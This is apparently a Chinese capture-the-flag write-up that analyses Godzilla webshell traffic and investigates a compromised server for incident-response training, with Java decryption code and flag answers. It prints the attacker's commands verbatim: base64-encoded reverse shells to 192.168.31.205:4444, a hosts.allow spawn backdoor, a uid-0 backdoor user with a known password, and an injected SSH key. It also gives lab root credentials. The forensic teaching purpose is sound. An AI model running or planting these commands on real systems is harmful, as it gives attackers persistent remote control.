哥斯拉ekp版本流量分析

哥斯拉ekp版本流量分析

前言

实战中使用的webshell连接工具基本上都是魔改或内部研发的,通过网上公开的哥斯拉ekp版本来学习如果HW中遇到魔改的应该如何去下手分析

请你登录服务器结合数据包附件来分析黑客的入侵行为

用户名:root

密码:toor

SSH连接:ssh root@ip -p222

题目

1、黑客上传的木马文件名是什么?

flag{.index.jsp}

QQ_1728470157865

2、黑客上传的木马连接密码是什么?

QQ_1728470169757

flag{mypass}

3、黑客上传的木马连接密钥是什么?

QQ_1727832971002

flag{9adbe0b3033881f8}

4、黑客连接webshell后执行的第一条命令是什么?

前面都是哥斯拉初始化流量,这里开始用户执行

QQ_1728470195033

然后根据前面的jsp木马脚本进行解密

请求解密

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
package com.ezgame;

import java.io.*;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;

public class test {

    class X extends ClassLoader {
        public X(ClassLoader z) {
            super(z);
        }

        public Class Q(byte[] cb) {
            return super.defineClass(cb, 0, cb.length);
        }
    }

    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {
        }
        return ret;
    }
    public static byte[] x(byte[] s, boolean m, String xc) {

        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }


    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
            } catch (Exception e2) {}
        }
        return value;
    }


    public static byte[] base64Decode(byte[] bytes) {
        Class base64;
        byte[] value = null;
        Object decoder;
        try {
            base64 = Class.forName("java.util.Base64");
            decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public static void main(String[] args) throws Exception {
        String xc = "9adbe0b3033881f8";
        String pass = "mypass";
        String md5 = md5(pass + xc);

        Scanner scanner = new Scanner(System.in);
        System.out.println("请输入URL编码的字符串:");
        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
        String encodedString = reader.readLine(); 
        String decodedString = URLDecoder.decode(encodedString, StandardCharsets.UTF_8.toString());
//        System.out.println("URL解码后的字符串:" + decodedString);
        scanner.close();

        byte[] data = base64Decode(decodedString.getBytes());
        data = base64Decode(data);
        System.out.println(new String(data));
        byte[] res = x(data, false, xc);
        FileOutputStream fos = new FileOutputStream("res1.zip");
        fos.write(res);
        fos.close();
    }
}

响应解密脚本,主要是少了一次base64

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
        Scanner scanner = new Scanner(System.in);
        System.out.println("请输入URL编码的字符串:");
        String encodedString = scanner.nextLine(); // 获取用户输入的字符串
        scanner.close();

        byte[] bytes = base64Decode(encodedString.getBytes());
        System.out.println(new String(bytes));
        byte[] res = x(bytes, false, xc);
        FileOutputStream fos = new FileOutputStream("res2.zip");
        fos.write(res);
        fos.close();

解密出来是一个zip压缩包,解压后丢到010即可

QQ_1727833370078

flag{cat /etc/passwd}

5、这个木马是根据哪个参数进行回显的?(提交参数名)

QQ_1728470213931

解密和解压后看到执行结果

QQ_1727834017763

得到参数名是Rec106e_config,当然从代码里也可以看出

QQ_1727834140703

flag{Rec106e_config}

6、黑客留下后门的反连的IP和PORT是什么?(flag{IP,PORT})

这条数据没有回显示,很可疑,解密后发现是反弹shell

QQ_1728470227052

QQ_1728469323986

1
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash

QQ_1728469337955

flag{192.168.31.205,4444}

7、黑客通过后门反连执行的第一条命令是什么?

后续直接过滤这个ip和port的流量即可

QQ_1728469444848

QQ_1728469414340

flag{ls}

8、黑客新增的后门用户名密码是什么?(提交flag{username,password})

新增了一个x用户且密码是Xj@666.然后添加到root组

1
2
echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bash
useradd -p `openssl passwd -1 -salt 'salt' Xj@666.` x -o -u 0 -g root -G root -s /bin/bash 

QQ_1727834384317

flag{x,Xj@666.}

9、黑客新增的后门文件是什么?(提交完整路径)

后续就是一些ssh的流量了,猜测可能是ssh登录后操作的

QQ_1728469506434

出题命令:

1
echo ZWNobyAnQUxMOiBBTEw6IHNwYXduIChiYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4zMS4yMDAvNDQ0NCAwPiYxIikgJiA6YWxsb3cnID4gL2V0Yy9ob3N0cy5hbGxvdw==|base64 -d|bash

上机一些基础排查后发现后门被写到了/etc/hosts.allow文件,当有主机ssh连接时,就会自动反弹shell到黑客主机的4444端口

QQ_1727834656103

flag{/etc/hosts.allow}

10、黑客的后门公钥是什么?(提交公钥的md5值)

sshd_config 指定其他免认证文件

这里首先就要排查ssh配置文件,在41行发现还有一个可以免认证的文件

QQ_1727834803914

1
2
mkdir /root/.bash_h1story/
echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FEUE5LUDNRTCtpMXNhZmRzVTZaYjJNdW9CalpZcmVBRGp3aGJQM2R6WnBqd3g4YUM3WDFrOXNiOElFS1NqdnNXeGJiNG5DN3Ivd3pIS0hvMGJkbndkTTZSaXNqbmlvYjYrMGM0SW1CemtzeHZuUjNsSmpRZTVIdyt3aTQreW5BL0QzVTE5T2F6UnhjYTVJMUw2T05zcFNBYTNzNHN3MlFveGJ1QlZGZWwrSUtCemVicDhLN1ZCM0tyM1pscnk1TlRkNTJJbm4zNDd6WldmYjU2b2x4UmFIVEo2SVhBSkxlRm1HVDZSMm5EdWwybFk4SFdTMkQ1azhsREM5b05ld1RqdEZLelBWaTlydER6R0h4RGMxK2szZ0tFMlFrS1VqQkVZZmVLbVUrTjVHbVRUM3RJWWZySlNmV2Z4d0RyQ3Z2aHFuZjJ3WlFZdFpDTmY0OEMvb3BIOEVoUkJRckgvWDk0ZHJYK2VYSk9tb3pRektKZmRpZFFzaFJ3U0tEZmY2dzFnWWs9IHhpYW9sZUB4aWFvbGVkZU1hY0Jvb2stUHJvLmxvY2Fs|base64 -d > /root/.bash_h1story/.keys
1
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPNKP3QL+i1safdsU6Zb2MuoBjZYreADjwhbP3dzZpjwx8aC7X1k9sb8IEKSjvsWxbb4nC7r/wzHKHo0bdnwdM6Risjniob6+0c4ImBzksxvnR3lJjQe5Hw+wi4+ynA/D3U19OazRxca5I1L6ONspSAa3s4sw2QoxbuBVFel+IKBzebp8K7VB3Kr3Zlry5NTd52Inn347zZWfb56olxRaHTJ6IXAJLeFmGT6R2nDul2lY8HWS2D5k8lDC9oNewTjtFKzPVi9rtDzGHxDc1+k3gKE2QkKUjBEYfeKmU+N5GmTT3tIYfrJSfWfxwDrCvvhqnf2wZQYtZCNf48C/opH8EhRBQrH/X94drX+eXJOmozQzKJfdidQshRwSKDff6w1gYk= xiaole@xiaoledeMacBook-Pro.local

将公钥内容进行md5提交即可

QQ_1727765095036

flag{d7bf0e27d6f533604250faceb28b6d4b}

11、黑客注入的内存马代理是那种类型的?(如flag{frp})

先看这里的流量

QQ_1728469751562

请求流量,简单通过字符串看出像是注入了什么东西,有user-agent 还有一个路径

QQ_1727852300793

流量解密,返回ok,应该是注入完成

QQ_1728469782081

目前还无法确定具体代理类型(前面几条数据流里有注入使用的代码,大佬看一下就知道了,后面介绍简单的更适合安服的方法)

flag{suo5}

12、这个代理的路径是什么?(如flag{/frp})

注入完成后访问了/connect,但是是404

QQ_1728469824826

这里开始从http转为tcp连接

QQ_1728469897531

发现连接了几次都是404

QQ_1728469913335

而第25个是成功的,观察发现两个请求的user-agent不同,这里就可以看出代理是判断了user-agent头,那就是suo5代理了。路径也就是/connect

QQ_1728469930968

flag{/connect}

13、这个代理的连接密码是什么?(将得到的密码md5后作为flag提交)

将user-agent的值进行md5后提交

QQ_1727854599130

flag{e3c77fd790af8d25fe271cd275eb405e}

14、黑客扫描了哪个ip的哪些端口?(端口按照文本顺序提交即可 如:flag{ip,21,22,23})

在最后一个流中发现扫描操作

QQ_1728469973056

QQ_1728470039459

flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}

15、黑客扫描到开放的端口有哪些?(端口从小到大排序提交 如:flag{21,22,23})

最后为1的是开放端口,0为未开放的端口

QQ_1728470065406

flag{222,8081}

0%